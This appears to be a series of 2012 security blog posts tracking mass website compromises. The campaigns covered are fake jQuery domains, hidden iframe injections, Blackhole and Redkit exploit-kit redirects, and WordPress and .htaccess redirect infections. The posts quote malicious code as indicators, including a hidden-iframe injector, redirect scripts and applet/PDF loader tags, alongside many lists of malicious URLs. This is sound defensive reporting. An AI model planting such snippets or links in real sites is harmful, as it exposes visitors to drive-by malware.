Category: Security Notes

We keep seeing fake jQuery sites popping up and being used to distributemalware. One was jquerys.org, other was jquery-framework.com and the new oneis jqueryc.com (199.59.241.179).

And this new one seems to be affecting many web sites in the last few days. All of them have the following on their header or index.php files:

window.top.location.href = "httx://www.jqueryc.com"

Which redirects any visitor to the web site to jqueryc.com where it is then sent to other random spammy domains (seems like a TDS is in place).

Update:We are also seeing some sites with this javascript file being included: http://www.jqueryc.com/jquery-1.6.3.min.js, which just redirects back to jqueryc.com via the same window.top.location.href in javascript.

*Note that the domain was just registered (20-nov-2012), so it is not being flagged anywhere.

**The official jquery sites are jquery.org or jquery.com. Other variations are likely fake.

It seems that the .co.cc (sub TLD) that used to be mass used byspammers and malware is now gone.Their registration page is offline:

$ host co.cc
Host co.cc not found: 3(NXDOMAIN)

$ host www.co.cc
Host www.co.cc not found: 3(NXDOMAIN)

And we hope it stays that way.

If your site is loading hidden iframes from *.ftp1.biz/pony, look for a curlor file_get_contents call to http://wordpresstest2.info/1.txt.When you visit this site, it generates random iframes:

http://lsghmr.ftp1.biz/pony ( 206.212.240.20)
http://rchscbul.ftp1.biz/pony ( 206.212.240.20)
http://idzui.ftp1.biz/pony
http://vtfptnmxk.ftp1.biz/pony

That are displayed on the compromised sites.

We are seeing a large number of sites compromised with an iframe pointing to http://fenwaywest.com/media/index.php .Just in the last 3 days, we identified almost 10,000 sites with it:

2012/Oct/11 - 4393 sites - http://fenwaywest.com/media/index.php
2012/Oct/10 - 3117 sites - http://fenwaywest.com/media/index.php
2012/Oct/09 -  865 sites - http://fenwaywest.com/media/index.php

On all the compromised sites have the iframes similar to this one:

<script> function frmAdd() { var ifrm = document.createElement("iframe"); ifrm. style.position="absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em';  ifrm.src = "http://fenwaywest.com/media/index.php";ifrm.id = 'frmId';document.body. appendChild (ifrm);};window.onload = frmAdd;..

The domain is hosted at 50.28.53.157, but currently offline (redirecting to Google), so we can\’t really tell what it is doing. But on previous requests, it was redirecting to a TDS (traffic distribution system) and from there, being sent to multiple spam or malicious domains.

Update 2012/Oct/12: Their site was fixed and is not loading malware anymore.

If you are using any widget/code from http://badgeplz.com/, remove it asapfrom your site. It has been compromised and is serving malicious code. So ifyou have any widget from there, it will be loaded from your site as well (blackhole exploit kit).

Example:

$ curl -D - http://badgeplz.com/instagram/?u=user
<script>v="va"+"l";try{ebgserb++;}catc h(snregrx){try{(Math+"")()}catch(ztbet) {m= ..

Note only that, but their main site is compromised as well.

A New batch of compromised sites are being infected with hidden iframes leading to the Redkit exploit kit. A site gets hacked and an iframe similar to this one is added::

<iframe src="http://ad-d-to.com.br.ms:81/rem2.html..

Once that is loaded into the browser, it redirects anyone visiting the site to:

http://orcasp.com.br/43745180.html

Where it tries to make the browser load some malicious PDFs or Jar files:

<applet archive="http://orcasp.com.br/33256.jar"..

<iframe src="http://orcasp.com.br/98765.pdf"..

And if you are running an outdated version of Java or Adobe PDF, your personal computer would get compromised as well.

Seeing many sites with a fake jquery links on them from jquery-framework.com (justregistered on 2012/08/05)::

<script src="httx://jquery-framework.com/jquery-1.7.1.js..

If you use jquery, make sure to link to reliable sources (either jquery.org or googleapis). This one is redirecting usersto http://browser-31.com/s/3013.

We are seeing a new batch of the rebots.php infections on WordPress and one thingis intriguing us. On many sites we are analysing, WordPress is updated and no suspiciousbackdoors or plugins were found. All in order, except for the javascript injected inside the theme.

The only thing in common on them is a single login to wp-admin, followed by a visit towp-admin/theme-editor.php to modify the theme:

184.22.164.xx - - [29/Aug/2012:21:03:02 -0300] "POST ///wp-login.php HTTP/1.1" 302 - "-" ""

184.22.164.xx - - [29/Aug/2012:21:03:13 -0300] "POST //wp-admin/theme-editor.php HTTP/1.1" 302 -
"-" ""

184.22.164.xx - - [22/Aug/2012:21:03:16 -0300] "GET //wp-admin//theme-editor.php?file=index.php&theme=classic&scrollto=0&updated=true HTTP/1.1" 200 58188 "-" ""

So it seems someone was able to steal the wp-admin password and edit the theme. It was done automatically, since no CSS or .JS files were loaded.

Another intereting issue is that on some of these sites, we didn\’t identify any brute force attack trying to guess the passwords. Just this single login.

Since we don\’t know how these passwords got stolen, we recommend people to change their wp-admin passwords asap until we have more info (specially if you have been compromised with the rebots.php injection).

Dennis (from unmask) posted about some iframe injections that he has beenseeing lately: RFI: Server-wide iframe injections.

The post is interesting, so read that first. We are also seeing many variationsof this attack, always with the iframes being injected as domain.com/[randomnumbers].html and redirecting the user to Fake AV. This are some of the URLs we are seeing:

     15 http://tiergefluester.ch/37624443.html
      8 http://qmg2.com/96344443.html
      6 http://52943578.nl.strato-hosting.eu/49404443.html
      5 http://nw-transporte.de/31374443.html
      4 http://soka.saitama-eastern.jp/68844443.html
      3 http://tvhr9.com/59304443.html
      3 http://tvhr9.com/48204443.html
      3 http://tijerasycosmetica.es/32154443.html
      3 http://sepatch.org/74734443.html
      3 http://qmg2.com/51204443.html
      3 http://photopassion34.eu/84364443.html
      2 http://sipsnstrokesstudios.com/90144443.html
      2 http://relance-clients.com/18304443.html
      2 http://langaz.pl/28074443.html
      2 http://kopian.net.pl/10344443.html
      2 http://huskiesfootball.ca/54924443.html
      2 http://humourr.com/77204443.html
      2 http://fam-vandenberg.nl/33604443.html
      2 http://dev.look-whos-talking.co.uk/75584443.html
      2 http://cadeauxentreprise.ca/40104443.html
      1 http://www.sportman.nl/44554443.html
      1 http://vanaden.nl/76644443.html
      1 http://tvhr9.com/92824443.html
      1 http://tvhr9.com/15374443.html
      1 http://tijerasycosmetica.es/68134443.html
      1 http://tiergefluester.ch/71834443.html
      1 http://tiergefluester.ch/47254443.html
      1 http://thomasvillefurnishings.ca/66124443.html
      1 http://soka.saitama-eastern.jp/76924443.html
      1 http://soka.saitama-eastern.jp/31164443.html
      1 http://sipsnstrokesstudios.com/82464443.html
      1 http://shopmassive.com/72534443.html
      1 http://shopmassive.com/60754443.html
      1 http://shopmassive.com/50284443.html
      1 http://sepatch.org/58814443.html
      1 http://sepatch.org/35224443.html
      1 http://sepatch.org/14244443.html
      1 http://santeayurveda.com/48804443.html
      1 http://sacem.com.tr/95534443.html
      1 http://s1050444.iie.nl/76384443.html
      1 http://roswitha-jacobi.de/67874443.html
      1 http://roswitha-jacobi.de/52194443.html
      1 http://roswitha-jacobi.de/22914443.html
      1 http://roswitha-jacobi.de/15584443.html
      1 http://reisendefamilie.net/70004443.html
      1 http://rectol.com/76084443.html
      1 http://rectol.com/11154443.html
      1 http://radiocanvas.co.uk/97984443.html
      1 http://qmg2.com/82474443.html
      1 http://qmg2.com/76574443.html
      1 http://qmg2.com/74054443.html
      1 http://qmg2.com/34794443.html
      1 http://qmg2.com/20054443.html
      1 http://qmg2.com/14934443.html
      1 http://pohlgruppe.de/89314443.html
      1 http://pohlgruppe.de/73684443.html
      1 http://photopassion34.eu/93154443.html
      1 http://photopassion34.eu/35484443.html
      1 http://ozturannakliyat.com/94564443.html
      1 http://opracowaniagraficzne.pl/10474443.html
      1 http://nw-transporte.de/96284443.html
      1 http://mukogawa.jp/98984443.html
      1 http://moodle.fortpointdesign.com/31844443.html
      1 http://missweekderbesten.nl/12714443.html
      1 http://lojastelefrio.com.br/18854443.html
      1 http://linkeddoc.com/31974443.html
      1 http://langaz.pl/16524443.html
      1 http://kulycap.fr/63464443.html
      1 http://kopian.net.pl/69004443.html
      .. many many more ...

Note that all (or most) of these sites are compromised and being used by the attackers to spread malware botnet style. Dennis also questioned how are these sites being hacked.

Initially, all of them were running Plesk (at least I could access it as site.com:8443). However, as the infection is growing, I am seeing many sites not using Plesk with this type of malware, so we can\’t know for sure. We assume it is a mix of attacks (brute force FTP + outdated Plesk + anything they can find).

We posted yesterday about the Blackmuscats .htaccess redirection that was affecting thousands of web sites.

They are still happening (and growing), but the attackers decided to switch names to nonalco, mimosa and otherrandom keywords for their files:

1251    redirections    http://fitnes-corp.ru/shurimuri?5
1093    redirections    http://infofitnes.ru/interactive?5
818 redirections    http://fitnes-company.ru/interactive?5
817 redirections    http://mir-fitnes.ru/interactive?5
802 redirections    http://info-fitnes.ru/interactive?5
788 redirections    http://fitnescompany.ru/interactive?5
268 redirections    http://fitnes-corp.ru/shurimuri?5
220 redirections    http://infofitnes.ru/interactive?5
188 redirections    http://cofitnes.ru/mimosa?5
177 redirections    http://mir-fitnes.ru/interactive?5
168 redirections    http://fitnes-company.ru/interactive?5
165 redirections    http://info-fitnes.ru/interactive?5
162 redirections    http://fitnescompany.ru/interactive?5
79  redirections    http://fitnescorp.ru/shurimuri?5
40  redirections    http://nashfitnes.ru/nonalco?5
37  redirections    http://cofitnes.ru/mimosa?5
1191    redirections    http://nashfitnes.ru/nonalco?5
981 redirections    http://nash-fitnes.ru/nonalco?5
953 redirections    http://supasweb.ru/blackmuscats?5
920 redirections    http://nashifitnes.ru/nonalco?5
895 redirections    http://nashafitnes.ru/nonalco?5
878 redirections    http://nasha-fitnes.ru/nonalco?5
555 redirections    http://fitnes-ltd.ru/shurimuri?5
261 redirections    http://nashfitnes.ru/nonalco?5
208 redirections    http://supasweb.ru/blackmuscats?5
199 redirections    http://nash-fitnes.ru/nonalco?5
190 redirections    http://nashafitnes.ru/nonalco?5
189 redirections    http://nashifitnes.ru/nonalco?5
180 redirections    http://nasha-fitnes.ru/nonalco?5
116 redirections    http://fitnes-ltd.ru/shurimuri?5

The redirection is still the same, going from those .ru domains, to additional second level .ru domains and themto a .pl:

http://russian-fitnes.ru/prunus/cerasus.php
http://www1.vulnerabilitytoolssolver.pl/18o8e9/al/1fedfba29dd0193d/pr2/0/
http://www1.antivirusworrydanger.pl/370l3591/al/1fedfba29dd0193d/pr2/0/
http://minimizerprocessesdebugger.pl/b6l1s/al/78dee9e271084cb2/pr2/238/
http://www1.stabilityprotectionscanner.pl/n9044s5/al/1fedfba29dd0193d/pr2/0/

So far we have identified more than 17,000 sites with this type of malware. More details as we track them.